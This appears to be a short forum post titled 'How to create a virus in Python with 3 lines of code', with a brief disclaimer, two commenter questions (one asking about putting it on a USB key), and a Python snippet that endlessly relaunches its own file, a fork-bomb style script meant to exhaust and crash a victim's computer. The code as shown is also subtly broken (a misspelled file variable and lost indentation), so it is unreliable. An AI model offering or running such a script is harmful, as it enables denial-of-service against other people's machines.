How to create a virus in Python with 3 lines of code

Please do not ever try this

I am not in charge of any damages made using this virus!

[davepolo]

can you show us after certain amount of time, all of the windows close them selves?

thanks

[ouiyes]

Please tell me can this program be saved in usb key

[darkbs]

import os
while True:
os.startfile(_file_)